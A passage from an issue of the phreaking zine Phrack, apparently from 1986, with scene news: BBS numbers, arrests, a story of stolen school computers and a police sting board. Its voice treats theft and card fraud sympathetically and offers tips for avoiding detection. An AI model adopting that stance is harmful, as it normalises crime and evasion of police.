all former users of his system please call it back again. The number is
|
|
815-874-8534.
|
|
-------------------------------------------------------------------------------
|
|
Unconfirmed reports say that OSUNY, in New York, will soon be returning.
|
|
-------------------------------------------------------------------------------
|
|
GTE Sprint and U.S. Telecom have merged in order to become a stronger
|
|
competitor against MCI and AT&T.
|
|
-------------------------------------------------------------------------------
|
|
Compuserve is now linked with MCI Mail.
|
|
-------------------------------------------------------------------------------
|
|
Pit Fiend of NESSUS was busted for trying to obtain $3500 dollars in gold bars
|
|
by way of credit card fraud.
|
|
-------------------------------------------------------------------------------
|
|
The Missing Link BBS is back. It is now a public board (or so it is believed).
|
|
The number is 806-799-0016. Sysop: Egyptian Lover.
|
|
-------------------------------------------------------------------------------
|
|
Because of problems dealing with Phoenix Phortress as well as a growing number
|
|
of rodents, Metal Shop PRIVATE has changed its general password. It is no
|
|
longer "REQUIRED". Contact Taran King, Knight Lightning, or Cheap Shades for
|
|
the new general password, if you haven't been contacted yet (and you were/are a
|
|
member). See story on Phoenix Phortress in this issues PWN.
|
|
-------------------------------------------------------------------------------
|
|
The phreaks in Massachusetts and many other nearby areas are in quite a frenzy
|
|
right now due to a possible bust of Dr. Who 413. It appears that while at
|
|
school, his parents were showed a search warrant by the Secret Service, who
|
|
then searched through his computer equipment as well as his notes etc. He
|
|
eventually went home and is currently waiting for results. There is a very
|
|
high probability that he has by now been busted. Look for a future story on
|
|
his bust and its after-effects in the next Phrack World News.
|
|
-------------------------------------------------------------------------------
|
|
Phreak Klass 2600 originally died because Red Devil became bored of phreaking.
|
|
Now Crimson Death (Sysop of Hell Phrozen Over) and Videosmith are looking for
|
|
someone to run Phreak Klass 2600 II.
|
|
-------------------------------------------------------------------------------
|
|
Feyd Rautha was NOT busted but did retire from the phreak world. In his own
|
|
words, he is "phazed out" or bored of phreaking. A word to all, especially
|
|
sysops, there is another Feyd Rautha now. He is in the 612 (Minneapolis) area.
|
|
Do not confuse him with the old elite mentioned here.
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume One, Issue Four, Phile #11 of 11
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=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
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///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\
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Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 3 ///_ _ ________
|
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Metal Shop AE \\\ ///| \/ | / ______/
|
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Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop
|
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\\\ /// _________/ /
|
|
Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/
|
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--------------- \-^^^^^^-^^^^^^^^^-/ Triad
|
|
_______________________________________________________________________________
|
|
|
|
Extasyy Revisited
|
|
-----------------
|
|
This is a continuation of the article that appeared in Phrack World News Issue
|
|
Number One, about the breakup of Extasyy Elite.
|
|
|
|
The following are statements were told to Phrack by The Mentor:
|
|
|
|
1) I am NOT an FBI Agent.
|
|
2) The Poltergeist turned in all of Extasyy. I have copies of the statements
|
|
he made in Fort Worth to the FBI and to the Fort Worth Police Department to
|
|
get me busted. I do not know if he gave them Bit Blitz's information or
|
|
not.
|
|
3) Yes, I made Bit Blitz return a computer. Bit Blitz promised me a 212
|
|
AppleCat in exchange for an Apple //e. Then he failed to deliver the modem
|
|
after I gave him the system. This can be verified.
|
|
4) Crustaceo Mutoid is in the Racketeers, which Apple Rebel reassembled. Former
|
|
Racketeers members who are now regrouped include: Hot Rod, Warezird, and The
|
|
Micron.
|
|
-------------------------------------------------------------------------------
|
|
The above information should be considered as direct quotes from The Mentor.
|
|
The Apple //e referred to is one of the many stolen Apple //es talked about in
|
|
the story below.
|
|
-------------------------------------------------------------------------------
|
|
A little background on Extasyy.
|
|
|
|
Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado. Poltergeist was
|
|
always bragging about how he was a master computer thief.
|
|
|
|
The Mentor wanted to try his luck as well. In his case, a not very wise idea.
|
|
-------------------------------------------------------------------------------
|
|
He and two others went to a high school computer room in Hayes County, Texas.
|
|
The room was separate from the rest of the building and one of the windows was
|
|
unlocked.
|
|
|
|
One of the other two people that went was a student at the school.
|
|
|
|
It took three car trips to transport all the computers, most of them were kept
|
|
in friend's apartments. The Mentor gave many of the computers away to friends
|
|
of his, which helped his popularity greatly. He also gave two monitors to
|
|
Poltergeist. However he neglected to scratch the serial numbers off them. A
|
|
more or less fatal mistake.
|
|
|
|
Each of the apartment owners were allowed to keep one computer, as well as the
|
|
other two accomplices. Gradually the people with the apartments began to hide
|
|
or give away some of the computers themselves.
|
|
|
|
The Mentor finally took all the rest of the computers to a storage warehouse
|
|
and then gave away or sold what was left of them.
|
|
|
|
One month later...
|
|
|
|
In Fort Worth, Texas, The Poltergeist was busted, mainly for credit card fraud,
|
|
but there were many other charges as well. He talked all about Extasyy and its
|
|
members and when the police found the Mentor's phone number, Poltergeist talked
|
|
some more. Among his confiscated equipment were two monitors. The serial
|
|
numbers were checked and this led the police and FBI to the now one month old
|
|
computer theft in Hayes County.
|
|
|
|
Meanwhile, one of the apartment owners was trying to sell off one of his
|
|
computers to an ex-girl friend. Unfortunately she knew they were "hot" and
|
|
told the police. (Advice here guys don't try to sell "hot" items to ex-girl
|
|
friends).
|
|
|
|
Soon after the police took him in and were going to press charges on him as
|
|
being the mastermind thief. Until he told them the truth about where he got
|
|
the merchandise, implicating The Mentor and the others.
|
|
|
|
Soon after, the police and FBI had The Mentor, and even though he no longer had
|
|
any of the stolen equipment, a warrant and search turned up many other
|
|
interesting illegal items. His family being prominent in his town, his dad
|
|
wanted him to cooperate fully with the authorities.
|
|
|
|
Phreaking was basically unheard of by the police in 512 and they wanted to know
|
|
how everyone was doing it. The Mentor's response was "Blue Boxing". His town
|
|
is now equipped with 2600 Hertz detectors on the phone lines. Too bad for
|
|
Southwestern Bell that Mentor lied about blue boxing.
|
|
|
|
Mentor's dad always had something against The Protestor, if for no other
|
|
reason than the fact that he was the one who got Mentor started into phreaking.
|
|
|
|
The police were interested in the phreak boards, so Mentor's dad suggested they
|
|
call Protestor's Shack, where The Mentor was a remote sysop.
|
|
|
|
About this time Mentor had to use the bathroom, or so he told the police. On
|
|
his way to his restroom he stopped in the kitchen and called The Protestor.
|
|
He kept it very brief with the one way conversation consisting of roughly these
|
|
words, 'Get all the illegal shit off your board now! I'll explain later, just
|
|
do it!'
|
|
|
|
Never the less, they called Protestor's Shack, only to discover that it was
|
|
busy.
|
|
|
|
Protestor's Shack went down on February 24, 1986. At first it was thought that
|
|
Kleptic Wizard, a former Extasyy member, would take over the board in 314
|
|
(St.Louis, MO). However, Protestor later decided that maybe it was time that
|
|
the board died. He did add however that he may release his board program as a
|
|
ware sometime in the near future. Most likely to be found on Kleptic Palace AE
|
|
first. He also does plan to one day return to the pirate/phreak/hack world.
|
|
|
|
The above information was provided by The Protestor
|
|
with some parts by The Mentor
|
|
_______________________________________________________________________________
|
|
|
|
The Radio Station BBS
|
|
---------------------
|
|
Where once stood the famous bulletin board "The Broadway Show", now stands The
|
|
Radio Station. When Broadway Hacker thought he was moving to Washington D.C. he
|
|
took down the Broadway Show and gave the line, 718/615-0580, to another who
|
|
would run this new bbs. Since then however Broadway Hacker under the handle
|
|
of Program Director is once again running the board, but the remote sysop
|
|
Sigmund Fraud is now in total charge. He validates, he hires the subboard
|
|
sysops.
|
|
-------------------------------------------------------------------------------
|
|
Sysop: Program Director
|
|
Remote Sysop: Sigmund Fraud <-- Runs the board
|
|
|
|
Subboard Sysops:
|
|
|
|
General: Pirate Pete
|
|
Sports/Entertainment: White Lotus
|
|
Computer Discussion Forum: Lotus
|
|
Pirate/Trading: No one (The Cheetah was fired)
|
|
Anarchy: No one (The Merc was fired)
|
|
Chemical & Explosives: The Wild Phreak (Gray Mouser was fired)
|
|
Advanced Hacking and Phreaking: No one (Iron Soldier was fired)
|
|
-------------------------------------------------------------------------------
|
|
If you wish to become a subboard sysop, please leave mail or feedback to
|
|
Sigmund Fraud.
|
|
|
|
The Radio Station is where many LOD members and other old elites hang out. Its
|
|
also among the first to receive new LOD G-Philes.
|
|
|
|
The Radio Station receives about 15-20 new posts a day. Their general board is
|
|
among the most popular for real world controversial topics.
|
|
|
|
Program Director has put more time and effort into the debugging and upkeep of
|
|
his board than ANY other sysop I've ever known. Some of the nice features on
|
|
his board are the message responses which can keep a particular subject going
|
|
without interfering with other related subjects.
|
|
|
|
The Radio Station is a strong supporter of Phrack Newsletter. Give it a call!
|
|
|
|
718/615-0580 300/1200 Baud
|
|
_______________________________________________________________________________
|
|
|
|
Phoenix Phortress Stings 7 415 Under Siege
|
|
-------------------------- ---------------
|
|
On March 5, 1986, the following seven phreaks were arrested in what has come to
|
|
be known as the first computer crime "sting" operation.
|
|
|
|
Captain Hacker
|
|
Doctor Bob
|
|
Lasertech
|
|
The Adventurer
|
|
The Highwayman
|
|
The Punisher
|
|
The Warden
|
|
|
|
Many of them or other members of Phoenix Phortress belonged to these groups:
|
|
|
|
High Mountain Hackers
|
|
Kaos Inc.
|
|
Shadow Brotherhood
|
|
The Nihilist Order (Based in Fremont and Sunnyvale)
|
|
|
|
Of the seven, three were 15 years old; two were 16; one was 17; and one, 19.
|
|
|
|
Their charges include:
|
|
|
|
Several misdemeanors
|
|
Trafficking in stolen long distance service codes
|
|
Trafficking in stolen credit card numbers
|
|
Possession of stolen property
|
|
Possession of dangerous weapons (a martial arts weapon)
|
|
Charging mail-order merchandise to stolen credit card numbers
|
|
Selling stolen property
|
|
Charging calls internationally to telephone service numbers
|
|
|
|
Conviction would mean forfeiture of their computer equipment.
|
|
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Other phreak boards mentioned include:
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Bank Vault (Mainly for credit card numbers and tips on credit card scams)
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Phreakers Phortress (Mainly of course for phreak codes and other information)
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After serving search warrants early Wednesday morning on the seven Fremont
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residences where the young men live with their parents, police confiscated at
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least $12,000 worth of equipment such as computers, modems, monitors, floppy
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disks, and manuals, which contained information ranging from how to make a
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bomb, to the access codes for the Merrill Lynch and Dean Witter Financial
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Services Firm's corporate computers.
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The sysop of Phoenix Phortress was The Revenger, who was supposedly Wally
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Richards, a 25 year-old Hayward man who "phreaked back east a little" in New
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Jersey. He took the phone number under the name of Al Davis. However he was
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really Sgt. Daniel Pasquale of the Fremont Police Department.
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When he introduced his board to other computer users, he called it the "newest,
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coolest, phreak board in town." (Editor's note: The word for today is
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ENTRAPMENT!).
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Pasquale said he got the idea for the sting operation after a 16-year old
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arrested last summer for possession of stolen property "rolled them over
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(narced) He told us all about their operation."
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Pasquale used a police department Apple //e computer and equipment, with access
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codes and information provided by eight corporations, including Wells Fargo
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Bank, Sprint, and MCI.
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Pasquale said he received more than 2,500 calls from about 130 regular users
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around the country. The police started to make their first case three days
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after the board went up.
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"We had taken the unlisted phone number under the name Al Davis," Pasquale
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said. "In six days, these kids had the name on the bulletin board. I would
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have needed a search warrant to get that information."
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The arrests were made after five months of investigation by Dan Pasquale.
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Originally compiled by Maxwell's Demon of The Dange Gang, recompiled by Knight
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Lightning. This file contains parts of articles found in the following
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newspapers:
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** The Mercury News
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** The Palo Alto Times-Tribune
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** The Daily Review
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